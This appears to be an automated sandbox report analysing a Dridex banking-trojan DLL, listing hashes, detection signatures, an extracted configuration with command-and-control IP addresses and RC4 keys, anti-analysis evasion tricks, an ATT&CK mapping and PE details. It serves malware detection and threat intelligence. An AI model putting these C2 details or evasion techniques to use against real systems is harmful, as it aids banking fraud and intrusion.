Play interactive tour

Edit tour

Analysis Report P0DNoD3M7G

Overview

General Information

Sample Name:	P0DNoD3M7G (renamed file extension from none to dll)
Analysis ID:	392875
MD5:	6132233b774e373cf727e90a84fbbd14
SHA1:	b32ab2153285df6a2e3bdd130f966426c538726e
SHA256:	34bfcb0fa8c5d49dd601ea9134bb77ed4d2be8bd6782f713183faed72ffcdfaa
Tags:	40112Dridex
Infos:
Most interesting Screenshot:

Detection

Dridex Dropper

Score:	92
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Dridex dropper found

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected Dridex unpacked file

C2 URLs / IPs found in malware configuration

Found potential dummy code loops (likely to delay analysis)

Machine Learning detection for sample

Tries to delay execution (extensive OutputDebugStringW loop)

Tries to detect sandboxes / dynamic malware analysis system (file name check)

Abnormal high CPU Usage

Antivirus or Machine Learning detection for unpacked file

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to query locales information (e.g. system language)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Program does not show much activity (idle)

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Startup

System is w10x64

loaddll32.exe (PID: 912 cmdline: loaddll32.exe 'C:\Users\user\Desktop\P0DNoD3M7G.dll' MD5: 542795ADF7CC08EFCF675D65310596E8)

cmd.exe (PID: 2396 cmdline: cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\P0DNoD3M7G.dll',#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 5596 cmdline: rundll32.exe 'C:\Users\user\Desktop\P0DNoD3M7G.dll',#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

cleanup

Malware Configuration

Threatname: Dridex

{"Version": 40112, "C2 list": ["8.210.53.215:443", "72.249.22.245:2303", "188.40.137.206:8172"], "RC4 keys": ["RL2wu3FXHUGPGOtIL6lP6N0VZhCf8JeWK7yz9s", "hv0xsKjSe3xEYSnSvgjXlHRW9ricyO0t9ZWgJA8A1xjwSsIZgs78qb4LqGAl5z9P2rtE"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000003.00000002.488352077.0000000070A91000.00000020.00020000.sdmp	JoeSecurity_Dridex_1	Yara detected Dridex unpacked file	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
3.2.rundll32.exe.70a90000.3.unpack	JoeSecurity_Dridex_1	Yara detected Dridex unpacked file	Joe Security

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 3.2.rundll32.exe.70a90000.3.unpack

Malware Configuration Extractor: Dridex {"Version": 40112, "C2 list": ["8.210.53.215:443", "72.249.22.245:2303", "188.40.137.206:8172"], "RC4 keys": ["RL2wu3FXHUGPGOtIL6lP6N0VZhCf8JeWK7yz9s", "hv0xsKjSe3xEYSnSvgjXlHRW9ricyO0t9ZWgJA8A1xjwSsIZgs78qb4LqGAl5z9P2rtE"]}

Multi AV Scanner detection for submitted file

Show sources

Source: P0DNoD3M7G.dll

Virustotal: Detection: 63%

Perma Link

Machine Learning detection for sample

Show sources

Source: P0DNoD3M7G.dll

Joe Sandbox ML: detected

Source: 3.2.rundll32.exe.ea0000.2.unpack	Avira: Label: TR/Crypt.XPACK.Gen2
Source: 3.2.rundll32.exe.e803d4.1.unpack	Avira: Label: TR/Crypt.XPACK.Gen2

Source: P0DNoD3M7G.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: P0DNoD3M7G.dll

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: wntdll.pdbUGP source: rundll32.exe, 00000003.00000003.278809880.000000004B280000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: rundll32.exe, 00000003.00000003.278809880.000000004B280000.00000004.00000001.sdmp
Source:	Binary string: Gsp.pdb source: loaddll32.exe, 00000000.00000002.218261598.0000000070AB4000.00000002.00020000.sdmp, P0DNoD3M7G.dll

Networking:

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	IPs: 8.210.53.215:443
Source: Malware configuration extractor	IPs: 72.249.22.245:2303
Source: Malware configuration extractor	IPs: 188.40.137.206:8172

Source: Joe Sandbox View	IP Address: 72.249.22.245 72.249.22.245
Source: Joe Sandbox View	IP Address: 188.40.137.206 188.40.137.206
Source: Joe Sandbox View	IP Address: 8.210.53.215 8.210.53.215

Source: Joe Sandbox View	ASN Name: AS-TIERP-36024US AS-TIERP-36024US
Source: Joe Sandbox View	ASN Name: HETZNER-ASDE HETZNER-ASDE
Source: Joe Sandbox View	ASN Name: CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC

Source: loaddll32.exe, 00000000.00000002.218272982.0000000070ABB000.00000002.00020000.sdmp, P0DNoD3M7G.dll

String found in binary or memory: http://ansicon.adoxa.vze.com/6

Source: loaddll32.exe, 00000000.00000002.218218347.000000000081B000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

Dridex dropper found

Show sources

Source: Initial file

Signature Results: Dridex dropper behavior

Yara detected Dridex unpacked file

Show sources

Source: Yara match	File source: 00000003.00000002.488352077.0000000070A91000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 3.2.rundll32.exe.70a90000.3.unpack, type: UNPACKEDPE

Source: C:\Windows\SysWOW64\rundll32.exe

Process Stats: CPU usage > 98%

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_70AA218C NtDelayExecution,	3_2_70AA218C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_70AA2790 NtAllocateVirtualMemory,	3_2_70AA2790
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_70A9BC00 NtClose,	3_2_70A9BC00

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_70AA07CC	3_2_70AA07CC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_70A91494	3_2_70A91494
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_70A984E4	3_2_70A984E4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_70AA14D8	3_2_70AA14D8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_70A9A5A4	3_2_70A9A5A4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_70A99144	3_2_70A99144
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_70AA92DC	3_2_70AA92DC

Source: P0DNoD3M7G.dll

Binary or memory string: OriginalFilenameANSI32.dll0 vs P0DNoD3M7G.dll

Source: P0DNoD3M7G.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: P0DNoD3M7G.dll

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal92.bank.troj.evad.winDLL@5/0@0/3

Source: P0DNoD3M7G.dll

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\P0DNoD3M7G.dll',#1

Source: P0DNoD3M7G.dll

Virustotal: Detection: 63%

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe 'C:\Users\user\Desktop\P0DNoD3M7G.dll'
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\P0DNoD3M7G.dll',#1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\P0DNoD3M7G.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\P0DNoD3M7G.dll',#1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\P0DNoD3M7G.dll',#1	Jump to behavior

Source: P0DNoD3M7G.dll

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: P0DNoD3M7G.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wntdll.pdbUGP source: rundll32.exe, 00000003.00000003.278809880.000000004B280000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: rundll32.exe, 00000003.00000003.278809880.000000004B280000.00000004.00000001.sdmp
Source:	Binary string: Gsp.pdb source: loaddll32.exe, 00000000.00000002.218261598.0000000070AB4000.00000002.00020000.sdmp, P0DNoD3M7G.dll

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_70AB82E2 pushad ; retf	0_2_70AB82DD
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_70AB82C6 pushad ; retf	0_2_70AB82DD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_70A9F744 push esi; mov dword ptr [esp], 00000000h	3_2_70A9F745

Source: initial sample

Static PE information: section name: .text entropy: 7.55754035599

Source: C:\Windows\SysWOW64\rundll32.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion:

Tries to delay execution (extensive OutputDebugStringW loop)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe

Section loaded: OutputDebugStringW count: 722

Tries to detect sandboxes / dynamic malware analysis system (file name check)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe

Section loaded: \KnownDlls32\testapp.exe

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Window / User API: threadDelayed 722

Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_70AA07CC GetTokenInformation,GetSystemInfo,GetTokenInformation,

3_2_70AA07CC

Anti Debugging:

Found potential dummy code loops (likely to delay analysis)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe

Process Stats: CPU usage > 90% for more than 60s

Source: C:\Windows\System32\loaddll32.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_70A96DC8 GetUserNameW,MessageBoxW,GetLastError,CreateFileA,DebugBreak,FlushFileBuffers,FreeEnvironmentStringsA,GetConsoleOutputCP,GetEnvironmentStrings,GetLocaleInfoA,GetStartupInfoA,GetStringTypeA,HeapValidate,IsBadReadPtr,LCMapStringA,LoadLibraryA,OutputDebugStringA,

3_2_70A96DC8

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_70AA3060 RtlAddVectoredExceptionHandler,

3_2_70AA3060

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\P0DNoD3M7G.dll',#1

Jump to behavior

Source: rundll32.exe, 00000003.00000002.488199221.0000000003250000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: rundll32.exe, 00000003.00000002.488199221.0000000003250000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: rundll32.exe, 00000003.00000002.488199221.0000000003250000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: rundll32.exe, 00000003.00000002.488199221.0000000003250000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: GetUserNameW,MessageBoxW,GetLastError,CreateFileA,DebugBreak,FlushFileBuffers,FreeEnvironmentStringsA,GetConsoleOutputCP,GetEnvironmentStrings,GetLocaleInfoA,GetStartupInfoA,GetStringTypeA,HeapValidate,IsBadReadPtr,LCMapStringA,LoadLibraryA,OutputDebugStringA,

3_2_70A96DC8

Source: C:\Windows\SysWOW64\rundll32.exe

3_2_70A96DC8

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Process Injection12	Virtualization/Sandbox Evasion311	Input Capture1	Security Software Discovery22	Remote Services	Input Capture1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Process Injection12	LSASS Memory	Virtualization/Sandbox Evasion311	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Application Layer Protocol1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information2	Security Account Manager	Process Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Rundll321	NTDS	Application Window Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing3	LSA Secrets	Account Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	System Owner/User Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	System Information Discovery13	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
P0DNoD3M7G.dll	63%	Virustotal		Browse
P0DNoD3M7G.dll	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
3.2.rundll32.exe.ea0000.2.unpack	100%	Avira	TR/Crypt.XPACK.Gen2		Download File
3.2.rundll32.exe.e803d4.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen2		Download File

Domains

No Antivirus matches

URLs

No Antivirus matches

Domains and IPs

Contacted Domains

No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://ansicon.adoxa.vze.com/6	loaddll32.exe, 00000000.00000002.218272982.0000000070ABB000.00000002.00020000.sdmp, P0DNoD3M7G.dll	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
72.249.22.245	unknown	United States	36024	AS-TIERP-36024US	true
188.40.137.206	unknown	Germany	24940	HETZNER-ASDE	true
8.210.53.215	unknown	Singapore	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	true

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	392875
Start date:	19.04.2021
Start time:	23:31:56
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	P0DNoD3M7G (renamed file extension from none to dll)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal92.bank.troj.evad.winDLL@5/0@0/3
EGA Information:	Failed
HDC Information:	Successful, ratio: 51.7% (good quality ratio 48.5%) Quality average: 78.6% Quality standard deviation: 28.7%
HCA Information:	Successful, ratio: 88% Number of executed functions: 19 Number of non-executed functions: 8
Cookbook Comments:	Adjust boot time Enable AMSI
Warnings:	Show All Exclude process from analysis (whitelisted): taskhostw.exe, MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, UsoClient.exe

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
72.249.22.245	Em37gCCOY4.dll	Get hash	malicious	Browse
	nNBe3YZPD1.dll	Get hash	malicious	Browse
	rECHXI23ab.dll	Get hash	malicious	Browse
	u3ZfUNqtTA.dll	Get hash	malicious	Browse
	i2mWN0eEZi.dll	Get hash	malicious	Browse
	mbhe8pot46.dll	Get hash	malicious	Browse
	BVB6FskvT6.dll	Get hash	malicious	Browse
	LqV2hePJuc.dll	Get hash	malicious	Browse
	TmWrP3Q5GS.dll	Get hash	malicious	Browse
	FsfUPJt3ju.dll	Get hash	malicious	Browse
	rqNx5BpAOZ.dll	Get hash	malicious	Browse
	F9yKzoQC8A.dll	Get hash	malicious	Browse
	g4TMqcOd80.dll	Get hash	malicious	Browse
	x2F4br2kxL.dll	Get hash	malicious	Browse
	89qYKQ34j2.dll	Get hash	malicious	Browse
	s9SjdUrdoD.dll	Get hash	malicious	Browse
	341sWszBlb.dll	Get hash	malicious	Browse
	7MY4BnDZbU.dll	Get hash	malicious	Browse
	TfxSPxK2fz.dll	Get hash	malicious	Browse
	ri9xYZlG5g.dll	Get hash	malicious	Browse
188.40.137.206	Em37gCCOY4.dll	Get hash	malicious	Browse
	nNBe3YZPD1.dll	Get hash	malicious	Browse
	rECHXI23ab.dll	Get hash	malicious	Browse
	u3ZfUNqtTA.dll	Get hash	malicious	Browse
	i2mWN0eEZi.dll	Get hash	malicious	Browse
	mbhe8pot46.dll	Get hash	malicious	Browse
	BVB6FskvT6.dll	Get hash	malicious	Browse
	LqV2hePJuc.dll	Get hash	malicious	Browse
	TmWrP3Q5GS.dll	Get hash	malicious	Browse
	FsfUPJt3ju.dll	Get hash	malicious	Browse
	rqNx5BpAOZ.dll	Get hash	malicious	Browse
	F9yKzoQC8A.dll	Get hash	malicious	Browse
	g4TMqcOd80.dll	Get hash	malicious	Browse
	x2F4br2kxL.dll	Get hash	malicious	Browse
	89qYKQ34j2.dll	Get hash	malicious	Browse
	s9SjdUrdoD.dll	Get hash	malicious	Browse
	341sWszBlb.dll	Get hash	malicious	Browse
	7MY4BnDZbU.dll	Get hash	malicious	Browse
	TfxSPxK2fz.dll	Get hash	malicious	Browse
	ri9xYZlG5g.dll	Get hash	malicious	Browse
8.210.53.215	Em37gCCOY4.dll	Get hash	malicious	Browse
	nNBe3YZPD1.dll	Get hash	malicious	Browse
	rECHXI23ab.dll	Get hash	malicious	Browse
	u3ZfUNqtTA.dll	Get hash	malicious	Browse
	i2mWN0eEZi.dll	Get hash	malicious	Browse
	mbhe8pot46.dll	Get hash	malicious	Browse
	BVB6FskvT6.dll	Get hash	malicious	Browse
	LqV2hePJuc.dll	Get hash	malicious	Browse
	TmWrP3Q5GS.dll	Get hash	malicious	Browse
	FsfUPJt3ju.dll	Get hash	malicious	Browse
	rqNx5BpAOZ.dll	Get hash	malicious	Browse
	F9yKzoQC8A.dll	Get hash	malicious	Browse
	g4TMqcOd80.dll	Get hash	malicious	Browse
	x2F4br2kxL.dll	Get hash	malicious	Browse
	89qYKQ34j2.dll	Get hash	malicious	Browse
	s9SjdUrdoD.dll	Get hash	malicious	Browse
	341sWszBlb.dll	Get hash	malicious	Browse
	7MY4BnDZbU.dll	Get hash	malicious	Browse
	TfxSPxK2fz.dll	Get hash	malicious	Browse
	ri9xYZlG5g.dll	Get hash	malicious	Browse

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	Em37gCCOY4.dll	Get hash	malicious	Browse	8.210.53.215
	nNBe3YZPD1.dll	Get hash	malicious	Browse	8.210.53.215
	rECHXI23ab.dll	Get hash	malicious	Browse	8.210.53.215
	u3ZfUNqtTA.dll	Get hash	malicious	Browse	8.210.53.215
	i2mWN0eEZi.dll	Get hash	malicious	Browse	8.210.53.215
	mbhe8pot46.dll	Get hash	malicious	Browse	8.210.53.215
	BVB6FskvT6.dll	Get hash	malicious	Browse	8.210.53.215
	LqV2hePJuc.dll	Get hash	malicious	Browse	8.210.53.215
	TmWrP3Q5GS.dll	Get hash	malicious	Browse	8.210.53.215
	FsfUPJt3ju.dll	Get hash	malicious	Browse	8.210.53.215
	rqNx5BpAOZ.dll	Get hash	malicious	Browse	8.210.53.215
	F9yKzoQC8A.dll	Get hash	malicious	Browse	8.210.53.215
	g4TMqcOd80.dll	Get hash	malicious	Browse	8.210.53.215
	x2F4br2kxL.dll	Get hash	malicious	Browse	8.210.53.215
	89qYKQ34j2.dll	Get hash	malicious	Browse	8.210.53.215
	s9SjdUrdoD.dll	Get hash	malicious	Browse	8.210.53.215
	341sWszBlb.dll	Get hash	malicious	Browse	8.210.53.215
	7MY4BnDZbU.dll	Get hash	malicious	Browse	8.210.53.215
	TfxSPxK2fz.dll	Get hash	malicious	Browse	8.210.53.215
	ri9xYZlG5g.dll	Get hash	malicious	Browse	8.210.53.215
AS-TIERP-36024US	Em37gCCOY4.dll	Get hash	malicious	Browse	72.249.22.245
	nNBe3YZPD1.dll	Get hash	malicious	Browse	72.249.22.245
	rECHXI23ab.dll	Get hash	malicious	Browse	72.249.22.245
	u3ZfUNqtTA.dll	Get hash	malicious	Browse	72.249.22.245
	i2mWN0eEZi.dll	Get hash	malicious	Browse	72.249.22.245
	mbhe8pot46.dll	Get hash	malicious	Browse	72.249.22.245
	BVB6FskvT6.dll	Get hash	malicious	Browse	72.249.22.245
	LqV2hePJuc.dll	Get hash	malicious	Browse	72.249.22.245
	TmWrP3Q5GS.dll	Get hash	malicious	Browse	72.249.22.245
	FsfUPJt3ju.dll	Get hash	malicious	Browse	72.249.22.245
	rqNx5BpAOZ.dll	Get hash	malicious	Browse	72.249.22.245
	F9yKzoQC8A.dll	Get hash	malicious	Browse	72.249.22.245
	g4TMqcOd80.dll	Get hash	malicious	Browse	72.249.22.245
	x2F4br2kxL.dll	Get hash	malicious	Browse	72.249.22.245
	89qYKQ34j2.dll	Get hash	malicious	Browse	72.249.22.245
	s9SjdUrdoD.dll	Get hash	malicious	Browse	72.249.22.245
	341sWszBlb.dll	Get hash	malicious	Browse	72.249.22.245
	7MY4BnDZbU.dll	Get hash	malicious	Browse	72.249.22.245
	TfxSPxK2fz.dll	Get hash	malicious	Browse	72.249.22.245
	ri9xYZlG5g.dll	Get hash	malicious	Browse	72.249.22.245
HETZNER-ASDE	Em37gCCOY4.dll	Get hash	malicious	Browse	188.40.137.206
	nNBe3YZPD1.dll	Get hash	malicious	Browse	188.40.137.206
	AnyDesk.exe	Get hash	malicious	Browse	116.202.172.152
	rECHXI23ab.dll	Get hash	malicious	Browse	188.40.137.206
	u3ZfUNqtTA.dll	Get hash	malicious	Browse	188.40.137.206
	i2mWN0eEZi.dll	Get hash	malicious	Browse	188.40.137.206
	mbhe8pot46.dll	Get hash	malicious	Browse	188.40.137.206
	BVB6FskvT6.dll	Get hash	malicious	Browse	188.40.137.206
	LqV2hePJuc.dll	Get hash	malicious	Browse	188.40.137.206
	TmWrP3Q5GS.dll	Get hash	malicious	Browse	188.40.137.206
	FsfUPJt3ju.dll	Get hash	malicious	Browse	188.40.137.206
	rqNx5BpAOZ.dll	Get hash	malicious	Browse	188.40.137.206
	F9yKzoQC8A.dll	Get hash	malicious	Browse	188.40.137.206
	shipping document.exe	Get hash	malicious	Browse	144.76.118.195
	g4TMqcOd80.dll	Get hash	malicious	Browse	188.40.137.206
	x2F4br2kxL.dll	Get hash	malicious	Browse	188.40.137.206
	89qYKQ34j2.dll	Get hash	malicious	Browse	188.40.137.206
	s9SjdUrdoD.dll	Get hash	malicious	Browse	188.40.137.206
	341sWszBlb.dll	Get hash	malicious	Browse	188.40.137.206
	7MY4BnDZbU.dll	Get hash	malicious	Browse	188.40.137.206

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

No created / dropped files found

Static File Info

General
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.546572177323037
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	P0DNoD3M7G.dll
File size:	162304
MD5:	6132233b774e373cf727e90a84fbbd14
SHA1:	b32ab2153285df6a2e3bdd130f966426c538726e
SHA256:	34bfcb0fa8c5d49dd601ea9134bb77ed4d2be8bd6782f713183faed72ffcdfaa
SHA512:	6ebb234f0e41979de479ca4ee56501629988264c1b7acd794c149c89ec6cb718ddf1748e86f408d8fe781ae76ef05311b1496be18e5fc3705a8978ba6d9a57c5
SSDEEP:	3072:QA6cVUieJXfe5aL7FBMOJr7uC3IDaAunyw654/Q2uZAlDO:Q3J256FBMO93IuAiywi4Y2Z
File Content Preview:	MZ......................@.......................................b.?.&.Q.&.Q.&.Q.....v.Q.@k..0.Q.+.....Q.8...{.Q./...R.Q./...7.Q..C....Q./...k.Q.@k....Q.&.P...Q..C,.I.Q.H.U...Q.=.....Q..i....Q..n....Q...S.,.Q...U...Q.......Q.Rich&.Q........................

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General
Entrypoint:	0x423d10
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
DLL Characteristics:	TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x607DE646 [Mon Apr 19 20:21:26 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	835c0fbcc6459f6264f92edd519c6e5e

Entrypoint Preview

Instruction
mov edx, 00000000h
mov edx, 00000000h
cmpss xmm1, xmm2, 03h
sub eax, 00002233h
mov edx, 00000000h
mov edx, 00000000h
mov edx, 00000000h
mov edx, 00000000h
mov edx, 00000000h
mov edx, 00000000h
cmpss xmm1, xmm2, 03h
cmp edx, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
je 00007FE53CEC66CBh
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x1001	0x1001	.text
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2668c	0x59	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2b000	0x340	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2c000	0x144	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x24040	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
